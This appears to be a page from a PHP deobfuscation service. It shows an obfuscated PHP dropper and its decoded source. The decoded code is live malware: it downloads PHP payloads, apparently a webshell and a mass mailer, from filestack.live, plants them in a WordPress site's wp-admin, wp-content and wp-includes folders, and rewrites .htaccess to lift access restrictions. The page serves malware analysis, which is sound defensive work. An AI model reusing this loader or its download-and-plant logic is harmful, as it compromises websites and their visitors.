Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $bymrg = 'b'.'a'.'se64'.'_d'.'ecode'; $JUbYZ = 'gzunc'.'ompress'; $hOIBe = 's'.'tr'...
Decoded Output download
error_reporting(0); $p_olux = str_replace("../", "", "/home/org/public_html/novosarajevo.youngengineers.org/wp-admin/g5nfMWpvR8w.php"); $p_mailer = str_replace("../", "", "/home/org/public_html/novosarajevo.youngengineers.org/wp-content/9ucroVWQwGO.php"); $p_xleet = str_replace("../", "", "/home/org/public_html/novosarajevo.youngengineers.org/wp-includes/g7v2JSy9qTm.php"); $root = str_replace("../", "", "/home/org/public_html/novosarajevo.youngengineers.org/"); function http_get_contents($url){$codex = file_get_contents($url);if (empty($codex)){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);curl_setopt($ch, CURLOPT_TIMEOUT, 60);curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]);$urlPage = curl_exec($ch);curl_close($ch);return($urlPage);}else {return $codex;}} function save($path, $source){ if(function_exists("file_put_contents")){ file_put_contents($path, $source); }else { fwrite(fopen($path,"w"), $source); } } function read($path){ if(function_exists("file_get_contents")){ $rr = file_get_contents($path); }else { $rr = stream_get_contents(fopen($path, "r")); } return $rr; } if(!file_exists($p_olux)) { $olux = http_get_contents("http://filestack.live/5de9c03400251a73ad64a272db83fab0.htm"); if(preg_match("/<\?php/", $olux)){ save($p_olux, $olux); } } if(!file_exists($p_xleet)) { $xleet = http_get_contents("http://filestack.live/2995e3adc0c914b5a67cc9c6fb40ad73.htm"); if(preg_match("/<\?php/", $xleet)){ save($p_xleet, $xleet); } } if(!file_exists($p_mailer)) { $mailer = http_get_contents("https://filestack.live/79f37cf98ac7d864a573c96fd19390ba.htm"); if(preg_match("/<\?php/", $mailer)){ $mailer = str_replace("xxxxxxxxxxxxxxxxxxxxxxx", "U3YRIVlaJsy", $mailer); save($p_mailer, $mailer); } } save($root."wp-includes/index.html", "<!DOCTYPE html><title></title>"); $htx = strtolower(read($root.".htaccess")); if(preg_match("/deny(.*)from(.*)all/", $htx) || preg_match("/order(.*)allow(.*)deny/", $htx)) { $htx = "<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php\$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>"; chmod($root.".htaccess", 0644); save($root.".htaccess", $htx); } Did this file decode correctly?
Original Code
<?php $bymrg = 'b'.'a'.'se64'.'_d'.'ecode'; $JUbYZ = 'gzunc'.'ompress'; $hOIBe = 's'.'tr'.'_rot1'.'3'; ini_set('display_errors', 0); error_reporting(0); ini_set('error_log', NULL); ini_set('log_errors', 0); eval($hOIBe($JUbYZ($bymrg('eJy1VW1v4jgQ/ituxEnJiSa0vDUH1xPphtBqxbHplhXd7qE45zhQZBwHchfY/vfzS6CwtIgPt0gozszjZ56MxzOAIQTRGLEQIpwFC71itEApHMM8fga/gwhLX04o0zXTtLQy0MTfWsIVsyBaWGE8zzM6XuJVbgVwAiOCyD9sAs0ZjIMFCxZZwBiKTIGdhuckWWWBtagH6eNdOHGvpma4DDUVc0WynKGfEZXCALMAW3ZMEby9+zD97OzEfc4Zwz8jbBbQPE5YZC2ak8sv3Zn9t7faxkUQ/v9BBXMaBxRnMABLjMPxguFx8fmRXopRbqxLFCZMnG7K8/0GoJWlQGerEM90BTXEniXfQLl7nAUZ1o2WXEcMwxBz2LIMBj135Nx4Y/4oA0X0LubB73/y3TIQ1fYu6N4ZjZy7kTPoe0OnUwYXRwhd3+u5Hc/td7r3gvgYttsdjW99d3j/8cYvRJyAfXC63nHswOl0/IHnDR99p8exjWPg01C9ru/2P/sdjiuN+ZpL+ao9eN6N9IylS/tmtES6b8iCbc6IPTMqmApqmsOIqXfEcIwCfbPBaL2wPGJgrexAHXjr5eW1jCIy4XtDgrmuUgRjRJmxBlmqbxA8Whbx4tFkPYXxaz1pvHLAgfVHshYoNIB0ijLM9BSGLChQ2lQz9qBgRxpiJFG4Y4p2K1wqKiH0dvVLplc5CsdvKCOrfeSuQqAhziqUbXKIkHjjes5kjEJM0VUNQzAX/fXwimrC9JtliZ0RJvRfM88mzKonzKaVaq1SuaxfkGaVJI0auWxeJvOrakrmFZO3B3H5edAQsQXvpZgudc1qP/3BG47oKiUVfL05TylmYxZ635Ysm6PSvOmTJ4u+tO0641JphdoXtXmdNJqU2rSRzmsVkjSrJ4guwr+qloat433dapgo4dvB8o7y6FB6006rTZraV4Q2kyue63qzSu1GmlzYVbsyJydI3yjYFbDX7Z/f/onu36t+dIe3OfkSzXaoWtssKMOuR+ZBucVkMbXd+ZMF/FILybkgb599cgYeb35AWK7bOMM5u25b6imH0xIX0x/DHE4Z0tVNU8yciFDKokiW/Y8ZSFgw081fjRTBlXiSPJfp4JQG+P4d7IEhSji5QsGpWIjtW7w8PaVFaw/TR5jEOQMrmPAkylZh0uunwFVrX05C4ARby5+EX2Nr++qKzX/JXDyJMfxUAufg6+jbFjCAQQJ+Wbv+h57f5fNnOPI7/Uf/BZydp6eAkv1QJigSz2OpOG1r8xHXGh98S/4lh0nlQ6ZRq20P+9AtUyNO/D/XDEF7')))); ?>Function Calls
| ini_set | 3 |
| str_rot13 | 1 |
| gzuncompress | 1 |
| base64_decode | 1 |
| error_reporting | 1 |
Stats
| MD5 | 86009f29a9f3331b4814a959afdd9e89 |
| Eval Count | 1 |
| Decode Time | 72 ms |